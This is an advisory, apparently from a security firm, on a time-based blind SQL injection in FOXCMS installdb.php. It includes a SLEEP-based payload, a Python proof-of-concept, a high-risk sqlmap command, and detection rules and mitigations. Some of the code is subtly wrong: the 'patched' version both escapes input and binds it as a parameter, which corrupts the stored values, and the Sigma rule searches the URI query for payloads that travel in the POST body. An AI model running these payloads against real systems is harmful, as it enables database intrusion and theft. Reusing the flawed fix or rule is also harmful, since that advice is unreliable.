CVE-2025-29180

Executive Summary

CVE-2025-29180 is a time-based blind SQL injection vulnerability identified in FOXCMS version 1.25 and earlier. The flaw resides in the installdb.php file, where the url_prefix, domain, and my_website POST parameters are directly concatenated into SQL statements without any sanitization or parameterization. This allows an unauthenticated attacker to inject malicious SQL code, potentially leading to data exfiltration, authentication bypass, or further compromise of the underlying database. The vulnerability is publicly known, and proof-of-concept (PoC) code is available, though no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at this time, but the risk remains significant for unpatched installations.

Supply Chain & Package Security

FOXCMS is a PHP-based content management system. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the core application. Users should verify the integrity of their FOXCMS installation and consider manual code fixes or migration to a supported alternative.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via HTTP POST requests.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send crafted POST data.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The attack does not require any user action.
• Scope (S): Unchanged (U) – The vulnerability affects only the database component.
• Confidentiality (C): High (H) – Successful exploitation can lead to full database disclosure.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – The attacker could disrupt database operations.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Unauthenticated remote SQL injection with high impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection. The installdb.php script is used during the initial setup of FOXCMS. It accepts POST parameters url_prefix, domain, and my_website and directly concatenates them into SQL INSERT or UPDATE statements without any filtering or parameterized queries.

Vulnerable Code Snippet (Conceptual):

$sql = "INSERT INTO config (url_prefix, domain, my_website) VALUES ('$_POST[url_prefix]', '$_POST[domain]', '$_POST[my_website]')";
mysqli_query($conn, $sql);

An attacker can inject SQL commands by providing malicious input such as:

url_prefix=test' OR IF(1=1, SLEEP(5), 0) -- 

This causes the database to pause for 5 seconds if the condition is true, allowing the attacker to infer information bit by bit (blind injection). The attacker can extract database names, table structures, and sensitive data by observing response times.

Attack Flow:

1. Attacker identifies a FOXCMS instance (e.g., via Shodan or Google dork).
2. Attacker sends a POST request to /installdb.php with crafted payloads.
3. The server executes the malicious SQL, causing time delays.
4. Attacker uses the delays to extract data (e.g., admin credentials, user data).

Vulnerable vs. Patched Code

Vulnerable Code (FOXCMS <= 1.25):

// installdb.php (vulnerable)
$url_prefix = $_POST['url_prefix'];
$domain = $_POST['domain'];
$my_website = $_POST['my_website'];

$sql = "INSERT INTO config (url_prefix, domain, my_website) VALUES ('$url_prefix', '$domain', '$my_website')";
mysqli_query($conn, $sql);

Patched Code (Hypothetical Fix):

// installdb.php (patched)
$url_prefix = mysqli_real_escape_string($conn, $_POST['url_prefix']);
$domain = mysqli_real_escape_string($conn, $_POST['domain']);
$my_website = mysqli_real_escape_string($conn, $_POST['my_website']);

$sql = "INSERT INTO config (url_prefix, domain, my_website) VALUES (?, ?, ?)";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "sss", $url_prefix, $domain, $my_website);
mysqli_stmt_execute($stmt);

The fix involves:

• Using mysqli_real_escape_string() to escape special characters.
• Using prepared statements with parameterized queries to prevent SQL injection entirely.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A vulnerable FOXCMS instance (<=1.25) running on a local or remote server.
• Python 3 and requests library installed.

Exploit Script (Python):

import requests
import time

target_url = "http://target.com/installdb.php"
payload = "' OR IF(1=1, SLEEP(5), 0) -- "

data = {
    "url_prefix": payload,
    "domain": "test.com",
    "my_website": "test.com"
}

start = time.time()
response = requests.post(target_url, data=data)
end = time.time()

if end - start > 4:
    print("[+] Time delay detected - SQL injection confirmed!")
else:
    print("[-] No delay detected.")

Manual Exploitation with sqlmap:

sqlmap -u "http://target.com/installdb.php" --data="url_prefix=test&domain=test&my_website=test" --batch --time-sec=5 --level=5 --risk=3

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for requests to /installdb.php with unusual POST parameters (e.g., containing SQL keywords like SLEEP, IF, OR, --).
2. Look for abnormal response times (e.g., >5 seconds) from the installdb.php endpoint.
3. Check database logs for slow queries or errors related to SQL injection attempts.

Mitigation Steps:

1. Immediately apply input validation and parameterized queries to installdb.php.
2. Restrict access to installdb.php via .htaccess or firewall rules (e.g., allow only specific IPs).
3. If the installation is complete, remove or rename installdb.php to prevent re-exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /installdb.php with parameters containing SQL keywords (SLEEP, BENCHMARK, IF, OR, AND, UNION, SELECT, --, #).
  • Unusually long response times (e.g., >5 seconds) from the same endpoint.
  • Source IP addresses making repeated requests with varying payloads.

• File IOCs:

  • Modified installdb.php file (if attacker uploaded a web shell).
  • Suspicious files in the web root (e.g., shell.php, cmd.php).

• Database IOCs:

  • Unexpected entries in config table (e.g., injected SQL code stored as values).
  • Database error logs showing syntax errors or timeouts.

Detection Engineering

YARA Rule

rule CVE_2025_29180_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting FOXCMS installdb.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29180"
    strings:
        $s1 = "installdb.php" nocase
        $s2 = "url_prefix" nocase
        $s3 = "domain" nocase
        $s4 = "my_website" nocase
        $sqli1 = "SLEEP" nocase
        $sqli2 = "BENCHMARK" nocase
        $sqli3 = "IF(" nocase
        $sqli4 = "OR " nocase
        $sqli5 = "AND " nocase
        $sqli6 = "UNION" nocase
        $sqli7 = "--" nocase
        $sqli8 = "#" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and 1 of ($sqli*)
}

Sigma Rule

title: FOXCMS installdb.php SQL Injection Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against FOXCMS installdb.php via time-based blind techniques.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29180
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/installdb.php'
        cs-uri-query|contains: 
            - 'SLEEP'
            - 'BENCHMARK'
            - 'IF('
            - 'OR '
            - 'AND '
            - 'UNION'
            - '--'
            - '#'
    condition: selection
falsepositives:
    - Legitimate use of these keywords in non-malicious contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29180 FOXCMS installdb.php SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/installdb.php"; http_uri; content:"url_prefix"; http_client_body; pcre:"/(SLEEP|BENCHMARK|IF\(|OR |AND |UNION|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the Code: Manually edit installdb.php to use prepared statements or at least mysqli_real_escape_string() for all user inputs.
2. Restrict Access: Use .htaccess or firewall rules to block external access to installdb.php (e.g., Require ip 127.0.0.1).
3. Remove File: If the CMS is already installed, delete or rename installdb.php to prevent re-exploitation.

Long-Term Recommendations:

• Upgrade to a patched version of FOXCMS if available, or migrate to a supported CMS.
• Implement a Web Application Firewall (WAF) to block SQL injection patterns.
• Conduct regular security audits and penetration testing.
• Follow secure coding practices, including parameterized queries and input validation.

Vendor Contact: Since no patch is available, consider reaching out to the FOXCMS maintainers or community for a fix. If none exists, consider forking the project and applying the fix yourself.

Valters IT